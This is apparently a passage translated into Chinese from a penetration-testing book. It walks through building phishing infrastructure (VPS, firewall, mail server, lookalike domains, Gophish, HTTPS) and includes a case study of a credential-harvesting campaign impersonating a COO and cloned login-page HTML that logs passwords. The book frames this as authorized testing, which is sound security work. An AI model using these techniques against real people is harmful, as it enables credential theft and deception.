root@******:**ufw allow from any to** `your_IP_address`
root@******:**ufw enable**

你可以在特定端口上运行防火墙,而不是在所有端口上,通过将 port port_number 添加到源地址或目标地址的 IP 地址中。

要设置防火墙,请登录到 DigitalOcean 并导航到左侧面板中的网络菜单。接下来,选择防火墙。如果你已经有连接到 DigitalOcean 的防火墙,从列表中选择它,如图 7-5 所示。

<<DigitalOcean 网页显示了网络菜单下的防火墙标签。显示了一个名为“Web”的条目,包含 0 个 Droplet 和 4 条规则,刚刚创建。>>

图 7-5:设置 DigitalOcean 防火墙

如果你还没有防火墙,点击绿色的创建按钮,并从下拉菜单中选择防火墙。这将带你到一个页面,如图 7-6 所示,提示你创建传入规则。传入规则决定了 VPS 如何与进入的连接进行交互。传出规则则决定了 VPS 在尝试连接其他主机时的行为,有时也称为 出口过滤

<<DigitalOcean 创建防火墙页面的截图,显示了名称(书籍)以及输入传入流量的规则(类型、协议、端口范围和来源)的字段。>>

图 7-6:创建 DigitalOcean 防火墙

由于你可能会用这个主机进行网络钓鱼,你可能希望让 web 服务器对外公开。根据你与客户的合同,你可能希望将访问限制在客户 IP 范围内。如果你将服务器用于托管恶意脚本以便进行钓鱼,这样做也是一个好主意。这样可以防止网络爬虫和威胁情报公司抓取你的网站并发现它,这是一种迅速被列入黑名单和威胁情报源(这些源会被入侵检测系统、SIEM 程序和其他防御技术收录)的方式。

若要仅允许特定 IP 地址范围访问你的服务器,请为 HTTP(TCP 端口 80)和 HTTPS(TCP 端口 443)创建一个入站规则,接受来自所有 IPv4所有 IPv6的入站连接,除非满足前述条件。确保创建一个入站规则,允许你从任何你个人使用的 IP 地址通过 SSH 连接到主机。

你的 VPS 提供商提供的系统镜像可能没有完全更新。要更新 Linux 系统,执行以下命令:

**apt-get update -y; apt-get upgrade -y; apt-get dist-upgrade** 

apt-get update命令会列出已更新的包,apt-get upgrade执行更新,apt-get dist-upgrade更新内核以及软件依赖项。-y开关会默认对你可能收到的大多数提示回答“是”。

选择电子邮件平台

既然你已经有了 VPS,现在需要选择实际用于发送电子邮件的服务。虽然你可以使用 Yahoo!或 Gmail 的免费电子邮件账户,但如果你假装是权威人士,这可能会引起怀疑。免费电子邮件账户在某些攻击中可能有效,例如针对人力资源的攻击,在这种攻击中你假装是求职者。然而,在大多数情况下,使用非免费的域名更好,因此你需要搭建一个电子邮件服务器。

可用的服务使用多种协议发送邮件,每种协议都有其优缺点。关于选择协议,John Carl Villanueva 的博客文章《管理文件传输与网络解决方案》(jscape.com/blog/smtp-vs-imap-vs-pop3-difference/)是一个全面的资源。电子邮件协议包括以下几种:

简单邮件传输协议(SMTP)

  1. 在 RFC 5321 中定义。默认使用 25 端口,也可以使用 587 端口和 465 端口。

互联网邮件访问协议(IMAP)

  1. 在 RFC 3501 中定义。使用 143 端口(或者对于 SSL/TLS 连接使用 993 端口)。

邮局协议 v3(POP3)

  1. 在 RFC 1939 中定义。使用 110 端口(或对于 SSL/TLS 连接使用 995 端口)。

如果你计划伪造电子邮件,你必须使用 SMTP。POP3 和 IMAP4 不支持伪造,但可以用于占位。如果你有自主权决定使用哪个电子邮件服务器,你可以选择以下几个选项:

Dovecot

  1. 一个适用于 Linux/Unix 类系统的开源 IMAP 和 POP3 邮件服务器。它体积轻巧,意味着它占用很少的内存,并且不需要大量的处理能力。像任何软件一样,你必须保持安全的配置,并及时更新系统,以保持安全。如果你进行的是偶尔、低量的钓鱼攻击,这种维护可能不值得花费时间和精力,尽管软件是免费的。如果你从大量域名中进行钓鱼,或每天发送多封邮件,这可能是一个更经济的解决方案。由于 Dovecot 不支持 SMTP,它不支持伪造身份。你可以使用 Dovecot 进行域名劫持攻击。

Sendmail

1983 年首次发布的原始互联网邮件客户端之一。它实现了 SMTP,目前由 Sendmail 联盟和 Proofpoint(一家钓鱼意识与预防公司)维护。与 Dovecot 相同的考虑因素同样适用于 Sendmail。尽管 Sendmail 是开源软件,但其维护者试图防止钓鱼攻击,这可能会让一些社交工程师感到不安。由于 Sendmail 使用 SMTP,你可以使用它进行伪造身份或域名劫持攻击。

云邮件

  1. Microsoft 365 是微软的基于云的电子邮件服务,Google Workspace 是谷歌的基于云的企业邮件服务。两项服务按用户、按月或按年收费,并且可以通过任何有互联网连接的设备访问。两者都支持 SMTP、POP3 和 IMAP4,虽然默认使用 IMAP。你可以将 Microsoft 365 或 Google Workspace 绑定到你拥有的任何域名,因此它们适用于域名劫持攻击,但不适用于身份伪造。

谷歌邮件(Gmail)

  1. 根据我的经验,Google 不允许你通过电子邮件或 Google Drive 发送恶意软件(即使是宏启用的 Office 文档)。然而,如果你进行钓鱼攻击,Google 不会关闭你的账户。撰写本文时,你可以通过 Namecheap、Bluehost、SiteGround 或 GoDaddy 等服务为你的域名获取 Google Workspace,费用大约是每位用户每月 $6。大多数钓鱼域名采用短期使用方式,即每个客户只使用一次。如果你是唯一进行钓鱼攻击的人,你只需要为一个用户付费。如果是这种情况,你每个钓鱼活动的费用可能不超过每个客户 $6。

在选择这些选项时,需牢记以下几点。首先,伪造邮件很容易被捕获,许多邮件系统都有检测伪造的逻辑。此外,许多与邮件系统独立的应用程序,如 Exchange、Proofpoint 和 Mimecast,能够验证电子邮件并阻止伪造攻击。另一方面,即使目标实施了像发送者策略框架(SPF)、域密钥识别邮件(DKIM)或基于域的邮件身份验证、报告和一致性(DMARC)等反钓鱼工具,你仍然可以成功进行拼写错误和域名抢注。SPF、DKIM 和 DMARC 是旨在防止伪造的技术解决方案。实际上,如果这些工具被实施,它们会防止其他方伪造你的域名,因此值得为你的声誉实施,但它们对防止伪造你的组织作用有限。

攻击者通过Squatting(域名抢注)也可以绕过像 Mimecast 这样的技术,它们试图通过查看电子邮件中的统计数据、邮件发送域名的年龄和信誉来拦截钓鱼邮件。如果发送域名没有不良声誉或使用与钓鱼一致的语言,除非管理员设置了特定规则,否则应该能够通过这些过滤器。即便目标启用了 SPF 或其他解决方案,使用 Google Mail(适用于域名)和 Microsoft 365 等云服务发送邮件通常会绕过这些过滤器,因为 Google 和 Microsoft 的邮件服务器几乎是普遍信任的。

第三,自动化钓鱼解决方案有几种方法可以与 Dovecot、Sendmail 或云服务提供商的电子邮件服务集成。然而,自动化解决方案可能会在邮件中添加代码、水印或签名,这些内容会被邮件过滤器和其他防御技术检测到。

在配置邮件服务器之前,你需要为其创建 DigitalOcean 的防火墙规则,并更新你 Droplet 上的 UFW,提供你所使用的协议(SMTP、IMAP 或 POP3)的信息,以允许通信。使用接下来的步骤“设置钓鱼和基础设施 Web 服务器”来为你选择的邮件服务器创建防火墙规则。

购买发送和着陆页域名

接下来,你需要购买两个域名:一个用于托管着陆页,这是你将把点击你邮件中的链接的受害者引导到的页面,另一个用于托管你发送钓鱼邮件的网站。着陆页的域名可以选择便宜的域名,比如 88 美分的.tech.info域名。你将为链接申请一个长子域名,这样使其看起来合法性不那么重要。

用来发送电子邮件的域名应该是更为知名的顶级域名之一,如 .com.net.org.io.us。我的主要建议是确保购买一个启用了域名隐私的域名,而 .us 域名不允许这样做。域名隐私 是域名注册商提供的一项服务,允许你将匿名化的个人数据作为域名的 WHOIS 联系信息。这样,别人就无法将你与你的域名关联起来。如果发生任何需要通知的情况,注册商将充当你和发件人之间的中介。你不希望你的名字或你雇主的名字与钓鱼域名关联,否则威胁情报专家将会不懈追查并列举出你所有的域名和网站。

一旦你获得了钓鱼用的域名,将其附加到你选择的邮件平台,并按照提示进行操作,以获取对其的访问权限。如果你进行的是更高级的钓鱼活动,考虑在你的域名上实施技术邮件控制(如 SPF、DKIM 或 DMARC),因为你将进行域名劫持而非伪造。

设置钓鱼和基础设施 Web 服务器

现在你已经拥有了 VPS 实例和电子邮件服务,你必须设置一个能够接收传入连接、收集凭证、托管恶意脚本并执行你特定攻击所需操作的 web 服务器。在本节中,我将向你展示如何使用 Apache,这是一款免费且开源的 web 服务器软件包。Apache 文档丰富,且相对简单易用。

要安装 Apache,请执行以下命令:

root@********:**~# apt-get update -y**
root@********:**~****# apt-get install apache2 -y**

安装完成后,通过输入以下命令验证 Apache 是否已在 UFW 允许的进程/服务列表中:

**ufw app list**

现在,你需要最小化能够访问 Apache 实例的 IP 地址范围,以防止第三方访问你的服务器。我建议只允许从你将连接到 VPS 的 IP 地址、任何测试或质量保证的 IP 地址,以及目标组织的 IP 范围(理想情况下,应该由安全联系人在合同中书面提供)。要将服务器限制在此范围内,请执行以下命令:

**ufw allow from** `IP_address or CIDR`**to any port**`web_port; 80 or 443`
**ufw enable**

使用 ufw status 命令验证状态:

root@********:**~# ufw status**
Status: active
To                         Action      From
--                         ------      ----
Anywhere                   ALLOW       ***.***.***.*** 
***.***.***.***            ALLOW       Anywhere 
22                         ALLOW       ***.***.***.***

安装完成后,暂时使用以下命令关闭 Apache:

root@********:**~# service apache2 stop**
root@********:**~# systemctl stop apache2**

即使没有运行 Apache,你仍然可以进行配置更改、绑定域名以及执行其他管理任务。关闭 Apache 可以最大程度地减少服务器被安全扫描或蜘蛛爬取的可能性。

在第八章中,你将克隆一个逼真的登陆页面,并将其托管在该服务器上。

钓鱼的附加步骤

本节讨论的步骤对于成功的钓鱼攻击并非必需,但它们提供了一些客户可能会偶尔请求的服务。

使用追踪像素来衡量电子邮件被打开的频率

如果你正在进行一个非自动化的测试,比如本章到目前为止描述的那种,你可能需要一种方法来查看有多少人打开了你的电子邮件。你可以轻松实现这一点,使用跟踪像素,它们通常是 1x1 像素的图像,每个用户都是唯一的,并且从你拥有的远程站点呈现。然后,你可以查看访问日志,查看每个 ID 连接到服务器的实例。

在电子邮件中添加以下 HTML 代码片段,以设置跟踪像素:

<img src="http://www.`your_site`/tracker.php?eid=`unique_id`" alt="" width="1px" height="1px"">

创建用于监控跟踪像素的文件,tracker.php。它应该类似于这样:

<?php
  // Create an image, 1x1 pixel in size
  $im=imagecreate(1,1);
  // Set the background color
  $white=imagecolorallocate($im,255,255,255);
  // Allocate the background color
  imagesetpixel($im,1,1,$white);
  // Set the image type
  header("content-type:image/jpg");
  // Create a JPEG file from the image
  imagejpeg($im);
  // Free memory associated with the image
  imagedestroy($im);
?>

跟踪像素通常用于营销和销售。在钓鱼攻击中,它们会给攻击者带来麻烦并浪费时间。自动化解决方案会内置这些像素。打开电子邮件的数量在钓鱼攻击中是一个被过度强调的指标。让受害者报告他们收到钓鱼邮件或采取了行动,比统计有多少人打开邮件要重要得多。

使用 Gophish 自动化钓鱼攻击

自动化钓鱼解决方案 是一种服务,允许你开发钓鱼邮件并通过自动化系统(如内建的邮件接口)发送。该解决方案通常会监控信息,如钓鱼邮件被打开的次数和打开者,受害者点击邮件中链接的次数,以及每个事件发生的时间。这些服务使用起来很方便,有时它们也是最经济的选择。然而,由于它们是众所周知的,通过这些服务发送的钓鱼邮件很可能会被捕捉并关闭。

在本节中,我将向你展示如何使用 Gophish 发送钓鱼邮件。Gophish 是一个用 Go 语言编写的自动化钓鱼工具。要使用它,你需要一个 SMTP 服务器来发送邮件,并需要一个 Web 服务器让受害者访问。虽然你可以在 Gophish 中创建这两个组件,但这样做可能会增加被检测的机会。我建议设置以下三个防火墙规则,以防止被检测或造成附带损害:

  1. 只允许从你的网络访问端口 3333/TCP(Gophish Web 管理界面的端口)和端口 22(SSH 端口)。

  2. 只允许从你的网络和受害者 IP 范围访问端口 80/TCP(你的登录页面的默认端口,尽管你可以使用带 SSL/TLS 证书的端口 443 来增加真实性)。

  3. 只允许出站方向访问端口 25/TCP(SMTP 流量的端口)。

要在 UFW 中设置这些规则,请执行以下命令:

**ufw allow from** `your_IP_address` **to any port 3333**
**ufw allow from** `your_IP_address, QA_IP_address, and/or target_IP_range/CIDR` **to any port 80 (443 if using HTTPS)** 
**ufw allow from any port 25 to any**
**ufw enable**

现在,让我们安装 Gophish:

**cd /opt/**
**git clone https://github.com/gophish/gophish**
**cd gophish**
**apt-get install golang -y**
**go get github.com/gophish/gophish**
**go build**

配置 Gophish 监听你将用来连接的公共或私有 IP 地址:

root@********:**/opt/gophish# vi config.json**

config.json 文件中,将 admin_server listen_url 更改为你管理钓鱼攻击的 VPS 的 IP 地址。然后,将 phish_server listen_url 更改为你发送钓鱼邮件给受害者的 IP 地址或域名:

 "admin_server": {
                "listen_url": **"127.0.0.1:3333"**,
                "use_tls": true,
                "cert_path": "gophish_admin.crt",
                "key_path": "gophish_admin.key"
        },
        "phish_server": {
                "listen_url": **"0.0.0.0:80"**,
                "use_tls": false,
                "cert_path": "example.crt",
                "key_path": "example.key"
        },
        "db_name": "sqlite3",
 "db_path": "gophish.db",
        "migrations_prefix": "db/db_",
        "contact_address": "",
        "logging": {
                "filename": ""
        }
}

登录后,请务必更改管理员密码。Gophish 的默认凭据如下:

Username: admin
Password: gophish

我建议你立即前往左侧面板的设置菜单,并更改你的密码。即使只有你一个人在使用 Gophish,也应该创建一个新用户。如果有多人将登录此账户,你必须创建不同的用户。为此,点击用户标签,选择新用户,然后填写页面上的表单。

接下来,你需要一个地方来发送受害者。你可以通过登录页面标签下的新登录页面来创建(图 7-7)。

<<GoPhish 新的登录页面界面。包含页面名称、HTML 和重定向的字段,“导入站点”按钮,以及用于捕获提交的数据和密码的复选框。>>

图 7-7:在 Gophish 中设置新的登录页面

你可以从头开始构建登录页面,也可以将另一页面的 HTML 复制并粘贴到这里。

接下来,你需要知道在发送钓鱼邮件时,你假装成谁,并且需要哪个邮件服务器(以 ip_address:port 格式)来发送邮件。你可以在发送配置文件标签下的新发送配置文件中进行配置(图 7-8)。

<<GoPhish 新的发送配置文件界面。输入字段包括名称、接口类型、发件人、主机、用户名、密码和电子邮件头。“忽略证书错误”复选框已选中。显示添加客户头和发送测试电子邮件的按钮。>>

图 7-8:在 Gophish 中设置新的发送配置文件

现在你知道了是谁在发送电子邮件,邮件是如何到达目的地的,以及你希望它执行什么操作,接下来是创建实际的电子邮件。一种方法是导入现有的电子邮件——比如说,HR 部门的 Erica 两周前收到的邮件——并将其作为模板。Gophish 会使用你导入的电子邮件的格式、样式和语言。你可以在电子邮件模板标签下的新模板中进行配置(图 7-9)。

<<GoPhish 新的模板界面。包括名称、主题、纯文本和 HTML 的字段。选中“添加跟踪图片”复选框。显示导入电子邮件和添加文件的按钮。>>

图 7-9:在 Gophish 中设置新的电子邮件模板

你已经拥有了所需的一切。让我们将它组织成一个活动,将你所做的所有部分集合起来,发送给客户。你可以在活动标签下的新活动中进行配置(图 7-10)。

<<GoPhish 新的活动界面。包括名称、电子邮件模板、登录页面、URL、启动日期、发送邮件方式、发送配置文件和组的字段。字段上方显示“没有找到配置文件!”红色横幅,下方显示绿色的“启动活动”按钮。>>

图 7-10:在 Gophish 中设置一个活动

填写完这个表单后,你所需要做的就是启动活动,等待结果。

为钓鱼登录页面添加 HTTPS 支持

一些用户会寻找带有绿色锁形图标的 HTTPS 网站,作为判断网站是否为钓鱼攻击的一种标志。攻击者注意到了这一点,并开始在他们的网站中使用 HTTPS。通过使用 Let's Encrypt,我们也可以免费做到这一点,并为客户提供更真实的体验。

Let's Encrypt 是一个免费的自动化开放证书授权机构(CA),旨在为公众提供服务。它是互联网安全研究小组(ISRG)提供的服务,是实现 HTTPS(免费!)的绝佳方法。让我们为 Gophish 安装 Let's Encrypt:

root@***********:~# cd /opt/**
root@***********:~# wget https://dl.eff.org/certbot-auto**
root@***********:~# chmod a+x certbot-auto**
root@***********:~# ./certbot-auto certonly -d** `your_domain` **--manual --preferred-challenges dns**

安装完成后,按照屏幕上的提示完成 DNS 验证并完成设置。

如果你手动设置钓鱼攻击,过程类似。(请注意,设置不会自动续期。如果你长时间不进行操作,每三个月你需要执行脚本来续期。)

root@**********:~# apt-get install git**
root@**********:~# git clone https://github.com/letsencrypt/letsencrypt /opt/letsencrypt**
root@**********:~# cd /opt/letsencrypt**
root@**********:~# sudo -H ./letsencrypt-auto certonly --standalone -d example.com -d www.example.com**

在输入完这些命令后,系统会提示你输入一些信息。所有验证完成后,运行此命令来验证安装:

**sudo ls /etc/letsencrypt/live**

在钓鱼攻击中使用 URL 缩短工具

URL 缩短工具(如 Bitly)可以使目标页面不那么容易被识别。当决定是否使用它们时,考虑钓鱼攻击的难度和目标组织的成熟度。有些组织会尝试过滤电子邮件中的缩短 URL,其他组织则会训练用户避免点击这些链接。是否使用缩短工具,应该与您的安全联系人讨论。如果选择使用,请理解这些链接可能会被从电子邮件中剥离。

使用 SpoofCard 进行呼叫伪造

对于语音钓鱼攻击,你只需要一个呼叫伪造平台,如果目标地区允许,还需要一个记录通话的工具。

SpoofCard 是一个移动应用程序,它允许你伪造号码、拨打电话、录音,甚至在通话中注入背景噪音。该应用程序本身是免费的,但你需要购买积分才能使用它。

时间和交付考虑

现在你已经设置好了攻击,接下来需要实际执行它。在执行之前,你应当考虑两个与时间相关的因素。

第一点是你在准备架构和实际执行操作之间有多少时间。你投入到项目中的时间将决定你被检测到使用技术控制手段(如电子邮件过滤器或威胁情报源)的可能性。一个匆忙完成的项目很可能容易被发现,但如果客户需要更高级的方案,你需要有时间进行适当的研究,了解公司用语、文化以及他们使用的技术,这样当你发送活动时,你才能看起来像是一个拥有授权访问的内部人员。底线是什么?如果不必要的话,不要急于完成。有时候,客户需要你迅速行动,但这应该是例外,而不是常态。

第二,谨慎选择执行渗透测试的日期和时间。选择合适的时机需要进行研究。例如,如果你是在进行电话钓鱼攻击(vishing),你可以屏蔽自己的号码并静音线路,然后在接下来的几周里,每周的同一天同一时间进行拨打,看看谁会接听。此外,还要注意你是否在工作时间内执行渗透测试。如果你假扮成一名员工,不管你是伪装还是蹲点,那个员工的工作时间安排是什么?如果在进行钓鱼攻击时,你假扮成一个从早上 6 点到下午 5 点,星期一到星期四工作 10 小时的员工,在下午 5 点 45 分发送邮件——更糟的是,星期五发送——可能不是一个好主意。

案例研究:25 美元的高级持续钓鱼攻击

这是我如何以一种创意十足且相对低廉的方式钓鱼一个组织的故事。在这个过程中,我成功地发送了一个高质量的钓鱼邮件,绕过了该组织的技术防御,并进入了毫无防备的员工邮箱。

在这次渗透测试的范围电话会议中,我的目标公司联系人提到,CEO 将在两周内退休,COO 将接替他的职位。基于这些信息,我制定了一个计划。当我与联系人分享我的想法时,他称我为一个狡猾的疯子,并批准了这个计划。是时候开始实施这个计划了!

为了设置我的钓鱼攻击,我遵循了本章中描述的过程。首先,我创建了一个 DigitalOcean 的 droplet。因为这是一个涉及 150 个目标的短期渗透测试,我不需要一个空间或处理能力特别大的 droplet,所以我注册了一个 5 美元的 droplet。由于 DigitalOcean 按小时计费,费用在月末支付,到目前为止我没有花费任何费用。总费用:0 美元

这个攻击的时间安排并没有给我太多时间使用第五章和第六章中讨论的方法来收集 OSINT(开放源情报)。相反,我将精力集中在列举目标公司的域名、记录相关员工的姓名,并在公司网站、行业期刊以及新闻稿中查找 CEO 和 COO 的直接引用。

下一步是购买发送和登录页面的域名。目标域名是一个.com顶级域名,所以我购买了相应的.us域名。这个花费了大约 12 美元,因为我有一个 Namecheap 域名注册公司的促销代码。接下来,我购买了一个类似surveysofsatisfaction.life的网页域名。这个便宜的域名花费了我 88 美分。我还为电子邮件域名订阅了 Google 应用,每月花费 5 美元。总费用:17.88 美元

我将网页域名配置为解析到我的 droplet 的 IP 地址。然后,我为该域名免费安装了 Let’s Encrypt TLS/HTTPS 证书。我使用 HTTrack 获取了 SurveyMonkey 的完美克隆(正如你将在第八章中做的那样),然后从目标公司网站上获取了一个高分辨率的 logo 并添加到页面中。

我将着陆页配置为指向 https://<目标公司名称>.surveysofsatisfaction.life,使其看起来像是目标公司在调查网站上拥有自己的子域名。我再次使用了 SurveyMonkey 和目标公司的标志。我还添加了提示,要求用户提交他们的电子邮件地址和密码,然后将这些凭据通过 HTTP GET 请求传递给 Apache 日志。

在第二页,我设置了常见的密码重置问题:母亲的娘家姓、第一所学校、蜜月地点以及小学的名称。我将这些信息以相同的方式传递给了日志。

最后,我创建了第三页,上面写着“抱歉,调查已关闭”,并启动了一个无限循环。这个循环最初是一个编码错误,但我选择将其保留,作为给目标员工的提示,表明这不是一个合法的调查。

接下来,我编写了电子邮件,引用了首席执行官和首席运营官的直接引语。我还发现了公司用来称呼其员工的特定术语Owner-Associates,所以我也使用了这个术语。我选择以首席运营官的身份发送这封钓鱼邮件。我通过一个随机账户发送了邮件,并从他的自动回复中获得了他的电子邮件签名。

电子邮件的内容大致如下:

亲爱的 Owner-Associates:

正如你们所知,我将在下周接替史蒂夫担任首席执行官,结束他 37 年来无私奉献的服务。这是一个巨大的责任,但我会尽最大努力。<在此插入首席运营官的直接引用>。

多年来,我们经历了起伏,并致力于做得更好。我计划在<新闻稿中提到的要点>方面进行改进。正如史蒂夫所说,<来自即将退休的首席执行官媒体采访中的直接引用>。

正如你们中的一些人所知,我致力于不断改进为客户、合作伙伴、供应商,最重要的是,Owner-Associates 的服务。这就是为什么我与人力资源部合作,设置了一个 SurveyMonkey 调查,以改善<公司名称>的各个方面。请使用以下链接,在周五营业结束前完成此调查。

<Bitly 链接到网站域名>

<从自动回复中盗取的签名>

我与我的联系人确认了这封钓鱼邮件的可接受性,并获得了绿灯可以继续操作。我将邮件从谷歌应用程序中分批发送,每次发送 10 到 20 封,每隔 5 到 10 分钟发送一次,以避免触发潜在的警报。尽管我的邮件最终被封锁,但我成功发送了足够多的邮件,收到了来自目标 IP 地址的大量调查反馈。

我将网站保持在线一周,然后在接下来的星期一验证信息,发现我收到了更多员工的反馈。一名员工多次输入了信息并且更改了密码。我与联系人协调,结束了这次行动。我保留了滴灌服务器一周,以防他需要更多信息。我收集了度量数据,控制了外出回复和未发送的邮件(我们将在第九章讨论如何收集度量数据)。根据合同,我不得提供输入的密码,只能提供输入密码的员工姓名。我对网页和 Apache 日志进行了备份并保存,然后删除了滴灌服务器。整个过程持续了两周。总成本:22.88 美元。

在订阅的第 29 天,我登录了我用来发送钓鱼邮件的电子邮件账户,确认没有重要信息后取消了该服务。一名员工将该电子邮件地址添加到了多个高度敏感的邮件和邮件列表中。无价。我立即告知了我的联系人并将邮件转发给他。我写了报告,然后结束了这次行动。

如果我是一个真正的坏分子,这次钓鱼攻击可能会导致灾难,而这次攻击的成本却不到 25 美元。

基于我提供的信息,这次攻击本可以如何被缓解或防止?

  • 公司本应对所有用户进行如何评估可疑邮件内容的培训。教导他们在有疑问时向安全部门寻求帮助,特别是当涉及到缩短的 URL 时。

  • 公司本应实施 Proofpoint 或类似的解决方案,将【外部】添加到电子邮件主题行的开头。

  • 公司本应训练员工评估他们访问的页面 URL。

  • 安全团队和网络团队之间本可以有更好的协调。更好的沟通本可以避免网络负责人向公司发送关于该电子邮件的邮件,从而引起对该电子邮件的注意,而不是在电子邮件到达之前悄悄将其从收件箱队列中移除。

  • 应该有一个更好的社会工程攻击应急响应计划。

结论

成功的社会工程攻击需要充分的计划和技术配置。本章介绍了如何设置一个钓鱼攻击,收集用户凭据而不被发现。首先,你需要设置一个 DigitalOcean 的滴灌服务器,确保服务器的安全,并配置服务器的防火墙。然后,你学习了如何搭建一个真实的邮件服务器。

在钓鱼攻击的过程中,你将不得不做出许多决策。我们讨论了如何选择一个适合的域名用于你的电子邮件账户,以及如何选择你将引导用户访问的着陆页面。我们还讨论了如跟踪像素、自动化钓鱼服务、HTTPS 支持和 URL 缩短工具等附加功能。我们同样讨论了非技术方面的内容,比如攻击的时机。

在下一章中,你将搭建一个合法网站的真实克隆,你可以利用它来收集用户凭证和敏感信息——或者用于其他一些阴险的目的。

第八章:克隆着陆页

点击您钓鱼邮件中的链接的受害者应该会落在一个可信的网页上。如果您的攻击到达了这一阶段,那么创建一个有用且真实的着陆页就成了该参与活动中最重要的部分。根据客户要求的难度,这可能从 Myspace 级别的 HTML 到几乎一模一样的克隆站点不等,这个站点是员工每天都会访问的。

本章中,我们将带您走一遍克隆网站的过程,向您展示需要对原始站点进行哪些更改。然后,我们将使用 HTTrack(一款 Linux 命令行工具)从 No Starch Press 网站克隆两个网页。您可以将这些克隆的页面托管在第七章中设置的 Apache 服务器上,然后在发送给客户员工的邮件中链接到该站点。

克隆网站示例

让我们来看看一个假冒的 SurveyMonkey 网站,这是我在 2017 年左右克隆的。这个简单的站点有三个页面。首先,它提示受害者填写登录表单。一旦受害者点击提交按钮,他们将进入一个密码重置表单,表单会询问一些侵入性的问题。最终页面告诉用户在重置帐户时发生了错误。让我们更深入地探索这些页面,以便您更好地理解该架构。

登录页面

图 8-1 显示了名为index.html的第一页。

<<克隆的 SurveyMonkey 站点的登录页面,红色圈出 SurveyMonkey 的徽标,并有注释“目标公司徽标可以添加以增强真实性。”>>

图 8-1:克隆站点的首页(index.html

从视觉上来看,受害者可能会注意到一些线索来识别这个钓鱼网站。请注意,它缺少表示使用 HTTPS 的绿色挂锁,因为我直接从文件渲染到浏览器中,没有使用 Apache。在真正的钓鱼攻击中,URL 不会有合法的格式surveymonkey.com/<survey 路径>,尽管它可能会在某些地方提到 SurveyMonkey 以迷惑用户。另外,SurveyMonkey 通常不会在登录页面上放置徽标。否则,很难识别这个钓鱼网站;浏览器标签上的标题是准确的,悬停在注册或 BBB 认证商标链接上会显示真实的链接。

图 8-2 展示了我们网站的首页(index.html),我们使用 HTTPS 成功连接。 这是我们将受害者引导至的初始页面,在这里我们会尝试在将受害者引导至questions.html页面之前,收集他们的电子邮件地址和密码。

<<克隆的 SurveyMonkey 站点的 HTTPS 版本,显示 URL(practicalsocialengineering.com.cgi-bin.life)。左侧为用户名和密码输入框及登录按钮,右侧为使用 Google、Facebook、Office 365 和 LinkedIn 登录的按钮。>>

图 8-2:该站点的 HTTPS 版本(显示清晰的安全评级)

如果你查看这个页面的 HTML 源代码,你会发现它几乎与原始网站的代码完全相同。你可以在 sm-phish.seosint.xyz/ 找到我们克隆的页面的源代码,以及用 Python 编写的解析器,用于输入的相关信息。

index.html 中,我修改了定义登录表单及其字段的代码行。我还编辑了代码,使得当用户提交表单时,会被重定向到 questions.html 页面:

<form id="sign_in_form" class="sign-in-form" 1action="Questions.html" enctype="application/x-www-form-urlencoded" 2"method=get">
<fieldset form="sign_in_form"> <label for="username">Enter
your username:</label> 
<3input id="username" name="username" value="" autocorrect="off" autocapitalize="off" class="notranslate 4textfield required" maxlength="50" size="20" autofocus="" 5type="text">
<span></span> 
<label for="password">Enter
your password:</label> 
<6input id="password" name="password" class="notranslate textfield required" size="20" autocomplete="off" type="password">
<span></span>
<div> 
<input id="remember_me" name="remember_me" type="checkbox"> 
<label class="remember-me" for="remember_me">Remember me!</label>
</div>
&nbsp;<a href="Questions.html">
<button class="translate btn btn-large btn-arrow btn-arrow-right btn-arrow-large-horiz btn-arrow-large-right-dark yellow shadow" type="submit">Sign In <span></span></button></a>

我定义了 action 1 来告诉系统在用户提交表单后应跳转到 questions.html 页面。接下来,我将 HTTP 方法定义为 get 2,用于从表单的每个字段捕获数据。(HTTP 方法的完整解释超出了本书的范围,但你可以在网上找到很多相关资源。)然后,我创建了 input-id 3、textfield required 4 和 type 5 字段,这些字段会生成显示在屏幕上的框供受害者使用。

你应该明白,HTTP GET 不是一种安全的方法。为了防止恶意对手利用它从客户端网络外部发起攻击,确保有防火墙保护,并且只有你的 IP 地址和客户端的 IP 地址是允许的。

也就是说,使用 HTTP GET 方法记录输入有多种优势。首先,这种策略不需要后端数据库,因为数据会直接存储在 Apache 日志文件中,位于 /var/log/apache2/access.log。此外,如果目标组织监控其网络流量,当像 password=something 这样的参数以明文形式出现时,它应该会收到警报,从而为组织提供一个线索,表明它正在遭受攻击。

在 URL 或其他不安全的渠道中传递明文凭证是一个安全问题。一些平台会对这些文本进行编码,但这同样不安全;即使代码使用了哈希作为参数,攻击者如果能够拦截到该流量,也可以执行 传哈希攻击,即攻击者窃取密码的加密表示(哈希值),并直接用它来访问资源,而不需要知道密码。

虽然这个表单看起来像是一个登录表单,但实际上不是。它仅仅是捕获输入,并不验证它。只要每个字段至少包含一个字符,用户就能跳转到下一个页面。如果这段代码实际上是在执行身份验证,那就不安全了,因为网站会允许任何人进入。

恶意对手可能会利用这些收集到的密码进行各种攻击。例如,他们可能会尝试密码喷洒,通过在多个与员工和目标相关的登录中使用相同的密码。

敏感问题页面

图 8-3 显示了第二页,它以恢复账户的名义要求用户提供敏感信息。

questions.html页面使用与index.html相同的源代码。在这里,我将电子邮件地址和密码表单字段替换为四个密码重置问题。我还将引导用户进入questions.html的字段替换为error.html

<<克隆版 SurveyMonkey 网站的第二页。地址栏显示 https://practicalsocialengineering.com.cgi-bin.life/Questions.html?username=test&password=test,显示了四个恢复问题(包括“你最喜欢的宠物的名字?”和“你小学的名字?”)。>>

图 8-3:克隆网站的第二页,URL 中传递了来自index.html的参数(questions.html

错误页面

最后一页(图 8-4)告知用户发生了错误。

<<克隆版 SurveyMonkey 网站的最终页面。地址栏显示 https://practicalsocialengineering.com.cgi-bin.life/Error.html?pet=Dee+Oh+Gee&school=School&name=Mom&honeymoon=Anytown%2C+USA。页面显示“哎呀……此调查已关闭!”>>

图 8-4:SurveyMonkey 钓鱼攻击的错误页面

你可以将这个最终页面用于各种目的。例如,许多受害者可能会想知道错误发生的原因,并尝试再次提交流程,输入新的凭据以尝试使其成功。受害者也可能将此问题报告给 IT 部门,这可能会导致该事件结束。

该页面的 HTML 包含一个无限循环,使页面不断重载。当我编写这段代码时,大约是在 2017 年,浏览器允许该循环无限运行。2020 年后发布的浏览器版本可能会在一段时间后停止该循环。

信息收集

这个循环会导致问题。每次迭代时,它会向日志文件中写入一行,这使得手动从文件中提取密码和其他敏感信息变得非常困难。相反,你可以使用几个 Python 脚本,只提取相关信息。这些脚本可以在sm-phish.seosint.xyz/找到。

在日志中,“登录”事务的原始信息包括以下内容:

`IP Address` - - [17/Feb/2021:04:04:12 +0000] "GET 
/Questions.html?username=Testing_Username&password=password123 HTTP/1.1" 200 11590
